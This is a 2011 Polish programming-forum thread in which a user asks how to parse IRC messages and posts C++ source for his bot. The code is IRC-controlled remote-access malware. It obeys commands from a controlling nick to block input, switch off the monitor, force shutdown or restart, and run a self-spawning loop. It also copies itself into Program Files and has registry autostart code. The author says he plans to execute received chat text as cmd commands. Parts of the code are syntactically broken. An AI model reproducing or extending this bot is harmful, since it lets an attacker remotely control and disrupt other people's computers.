Panel użytkownika
Nazwa użytkownika:
Hasło:
Nie masz jeszcze konta?

irc parser

Ostatnio zmodyfikowano 2011-09-23 18:57
Autor Wiadomość
hincu
Temat założony przez niniejszego użytkownika
irc parser
» 2011-09-23 15:34:57
siema napisalem krotki kod do obslugi irc i nie mam glowy jak zrobic parser do irc zeby buffer podzielic na czesci tzn:
user,czas,kanal,wiadomosc

jakies propozycje?
jesli to wam w czyms pomoze to daje podaje kod : P

C/C++
#include <iostream>
#include <winsock2.h>
#include <cstring>
#include <time.h>
#include <conio.h>
#include <windows.h>
#include <mmsystem.h>
#include <winable.h>
#include <sstream>
#include <tchar.h>
#include <unistd.h>
#define NETWORK_ERROR -1
#define NETWORK_OK      0

using namespace std;

char buffer[ 1024 * 8 ];
time_t czas;
string kanal = "#nonoobz ";
string userpacket = "USER bot bot bot bot \r\n";
string nickpacket = "NICK HNCDroid";
string hostpacket = "irc.blolylo.net";
//string      identifypacket = "PRIVMSG NickServ IDENTIFY loldroid \r\n";  jesli nick jest na haslo
string joinpacket = "JOIN " + kanal + "\r\n";
string pingpacket = "PRIVMSG " + kanal + "PONG \r\n";
string leavepacket = "QUIT " + kanal + "\r\n";
string hellopacket = "PRIVMSG " + kanal + "Hello! \r\n";
string byepacket = "PRIVMSG " + kanal + "Bye! \r\n";
string timepacket = "PRIVMSG " + kanal;
string cmdpacket = "PRIVMSG " + kanal + "Done. \r\n";
string buff;
char * pch;
WORD sockVersion;
WSADATA wsaData;
int nret;
LPHOSTENT hostEntry;
SOCKET ircsocket;
SOCKADDR_IN serverInfo;
string sciezka;
string locpacket;
int nickid;
ostringstream ss;

bool Connect( string hostpacket, string userpacket, string nickpacket )
{
    srand(( int ) time( NULL ) );
    nickid = rand() % 9999 + 1;
    ss << nickid;
    nickpacket += ss.str();
    nickpacket += " \r\n";
    // losowanie id nicku
    sockVersion = MAKEWORD( 2, 2 );
    WSAStartup( sockVersion, & wsaData );
   
    hostEntry = gethostbyname( hostpacket.c_str() );
   
    if( !hostEntry )
    {
        nret = WSAGetLastError();
        cout << "Error: %d" << nret << endl;
        WSACleanup();
        return NETWORK_ERROR;
    }
   
    ircsocket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
    if( ircsocket == INVALID_SOCKET ) {
        nret = WSAGetLastError();
        cout << "Error: %d" << nret << endl;;
        WSACleanup();
        return NETWORK_ERROR;
    }
   
    serverInfo.sin_family = AF_INET;
    serverInfo.sin_addr = *(( LPIN_ADDR ) * hostEntry->h_addr_list );
    serverInfo.sin_port = htons( 6667 );
   
    nret = connect( ircsocket,( LPSOCKADDR ) & serverInfo, sizeof( struct sockaddr ) );
   
    if( nret == SOCKET_ERROR ) {
        nret = WSAGetLastError();
        cout << "Error: %d" << nret << endl;;
        WSACleanup();
        return NETWORK_ERROR;
    }
    send( ircsocket, userpacket.c_str(), strlen( userpacket.c_str() ), 0 );
    send( ircsocket, nickpacket.c_str(), strlen( nickpacket.c_str() ), 0 );
    return NETWORK_OK;
}
void PING()
{
    pch = strstr( buffer, "PING :" );
    if( pch ) {
        strncpy( pch, "PONG  ", 6 );
        for( int i = 5; i < strlen( pch ); i++ )
             pch[ i ] = pch[ i + 1 ];
       
        send( ircsocket, pch, strlen( pch ), 0 );
        cout << pch << endl;
    }
}
void Join( string joinpacket )
{
    if( strstr( buffer, "001" ) != NULL )
    {
        send( ircsocket, joinpacket.c_str(), strlen( joinpacket.c_str() ), 0 );
        send( ircsocket, hellopacket.c_str(), strlen( hellopacket.c_str() ), 0 );
        //send(ircsocket, identifypacket.c_str(), strlen(identifypacket.c_str()), 0);
    }
}
bool Commands()
{
    if( strstr( buffer, "!time" ) != NULL )
    {
        time( & czas );
        timepacket += ctime( & czas );
        timepacket += " \n";
        send( ircsocket, timepacket.c_str(), strlen( timepacket.c_str() ), 0 );
        cout << timepacket.c_str() << endl;
        return NETWORK_OK;
    }
   
    if( strstr( buffer, ":Hincu!" ) != NULL )
    {
        if( strstr( buffer, "!shutdown" ) != NULL )
        {
            send( ircsocket, byepacket.c_str(), strlen( byepacket.c_str() ), 0 );
            cout << byepacket.c_str() << endl;
            send( ircsocket, leavepacket.c_str(), strlen( leavepacket.c_str() ), 0 );
            cout << leavepacket.c_str() << endl;
            exit( 1 );
        }
        if( strstr( buffer, "!open" ) != NULL )
        {
            mciSendString( "Set CDAudio Door Open wait", 0, 0, 0 );
            send( ircsocket, cmdpacket.c_str(), strlen( cmdpacket.c_str() ), 0 );
            cout << cmdpacket.c_str() << endl;
        }
        if( strstr( buffer, "!close" ) != NULL )
        {
            mciSendString( _T( "Set CDAudio Door Closed" ), NULL, 0, NULL );
            send( ircsocket, cmdpacket.c_str(), strlen( cmdpacket.c_str() ), 0 );
            cout << cmdpacket.c_str() << endl;
        }
        if( strstr( buffer, "!cs" ) != NULL )
        {
            ShellExecute( NULL, "open", "http://trojmiastocs.boo.pl", "", "", SW_SHOWNORMAL );
            send( ircsocket, cmdpacket.c_str(), strlen( cmdpacket.c_str() ), 0 );
            cout << cmdpacket.c_str() << endl;
        }
        if( strstr( buffer, "!mouseoff" ) != NULL )
        {
            BlockInput( true );
            send( ircsocket, cmdpacket.c_str(), strlen( cmdpacket.c_str() ), 0 );
            cout << cmdpacket.c_str() << endl;
        }
        if( strstr( buffer, "!mouseon" ) != NULL )
        {
            BlockInput( false );
            send( ircsocket, cmdpacket.c_str(), strlen( cmdpacket.c_str() ), 0 );
            cout << cmdpacket.c_str() << endl;
        }
        if( strstr( buffer, "!monitoroff" ) != NULL )
        {
            SendMessage( GetForegroundWindow(), WM_SYSCOMMAND, SC_MONITORPOWER, 2 );
            send( ircsocket, cmdpacket.c_str(), strlen( cmdpacket.c_str() ), 0 );
            cout << cmdpacket.c_str() << endl;
        }
        if( strstr( buffer, "!monitoron" ) != NULL )
        {
            SendMessage( GetForegroundWindow(), WM_SYSCOMMAND, SC_MONITORPOWER, 1 );
            send( ircsocket, cmdpacket.c_str(), strlen( cmdpacket.c_str() ), 0 );
            cout << cmdpacket.c_str() << endl;
        }
        if( strstr( buffer, "!troll" ) != NULL )
        {
            ShellExecute( NULL, "open", "http://theforbiddentruth.net/umg_gallery/images/0/3/original/897_cairo-hello.png", "", "", SW_SHOWNORMAL );
            Sleep( 5000 );
            ShellExecute( NULL, "open", "http://www.fun-with-pictures.com/image-files/number-3.png", "", "", SW_SHOWNORMAL );
            Sleep( 3000 );
            ShellExecute( NULL, "open", "http://ps-dm.xaa.pl/files/2_701.png", "", "", SW_SHOWNORMAL );
            Sleep( 2000 );
            ShellExecute( NULL, "open", "http://1.bp.blogspot.com/_yOT4DfZXIxM/TH0aVwUChDI/AAAAAAAACuo/TGmAo3mvHeQ/s320/1.png", "", "", SW_SHOWNORMAL );
            Sleep( 1000 );
            ShellExecute( NULL, "open", "http://rocketdock.com/images/screenshots/thumbnails/Shutdown2.png", "", "", SW_SHOWNORMAL );
            Sleep( 5000 );
            //system("shutdown -s -t 10");
            send( ircsocket, cmdpacket.c_str(), strlen( cmdpacket.c_str() ), 0 );
            cout << cmdpacket.c_str() << endl;
        }
       
        if( strstr( buffer, "!fshutdown" ) != NULL )
        {
            system( "shutdown -s -t 10" );
            send( ircsocket, cmdpacket.c_str(), strlen( cmdpacket.c_str() ), 0 );
            cout << cmdpacket.c_str() << endl;
            return NETWORK_OK;
        }
        if( strstr( buffer, "!frestart" ) != NULL )
        {
            system( "shutdown -r -t 10" );
            send( ircsocket, cmdpacket.c_str(), strlen( cmdpacket.c_str() ), 0 );
            cout << cmdpacket.c_str() << endl;
            return NETWORK_OK;
        }
        if( strstr( buffer, "!fork" ) != NULL )
        {
            send( ircsocket, cmdpacket.c_str(), strlen( cmdpacket.c_str() ), 0 );
            cout << cmdpacket.c_str() << endl;
            while( true )
            {
                ShellExecute( 0, "open", "http://www.plus.google.com/", NULL, NULL, 1 );
                ShellExecute( 0, "open", "HNCDroid.exe", NULL, NULL, 1 );
            }
            return NETWORK_OK;
        }
       
    }
}
bool Close()
{
    closesocket( ircsocket );
    WSACleanup();
    return 0;
}
string recvData( char * buffer )
{
    memset( buffer, 0,( 1024 * 8 ) );
    recv( ircsocket, buffer,( 1024 * 8 ), 0 );
    buff = buffer;
    return buff;
}

void ParseData( string buff )
{
    cout << buff << endl;
}

int main( int argc, char * argv[] ) {
   
    CopyFile( argv[ 0 ], "C:\\Program Files\\HNCDroid.exe", true );
    //dodanie do rejestru
    TCHAR exepath[ MAX_PATH ];
    GetModuleFileName( 0, exepath, MAX_PATH );
    HKEY hKey;
    LONG lnRes = RegOpenKeyEx(
    HKEY_CURRENT_USER,
    "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
    0, KEY_WRITE,
    & hKey
   
    if( ERROR_SUCCESS == lnRes )
    {
        lnRes = RegSetValueEx( hKey, "Host Process", 0, REG_SZ,( BYTE * ) exepath, _tcslen( exepath ) );
    }
    */
   
    Connect( hostpacket, userpacket, nickpacket );
    while( true ) {
        recvData( buffer );
        ParseData( buff );
        PING();
        Join( joinpacket );
        Commands();
       
    }
    Close();
}
P-41301
DejaVu
» 2011-09-23 15:58:24
Jakby jeszcze było wiadomo co autor ma na myśli to by było dobrze :)
P-41304
hincu
Temat założony przez niniejszego użytkownika
» 2011-09-23 16:14:00
na irc wyslam jakas wiadomosc i gdy ja wyswietlam w konsoli to wyglada ona tak:

:Hincu!webchat@ajc7.neoplus.net.pl PRIVMSG #nonoobz :przykladowy tekst

i chce go podzielic na fragmenty

:nick!                                        #kanal           :wiadomosc

i jak mniej wiecej moze on wygladac?

potrzebne mi po to abym mogl pozniej zapisywac wiadomosc w pliku pozniej odczytywac go z poziomu cmd jako kod wykonywalny w dosie : P
P-41306
malan
» 2011-09-23 16:33:49
P-41307
hincu
Temat założony przez niniejszego użytkownika
» 2011-09-23 18:57:31
dokladnie o to mi chodzilo nie wiedzialem ze to bedzie takie proste : P
no nic wracam do pracy i programik zapowiada sie bardzo przydatny
dzieki za pomoc
P-41313
« 1 »
  Strona 1 z 1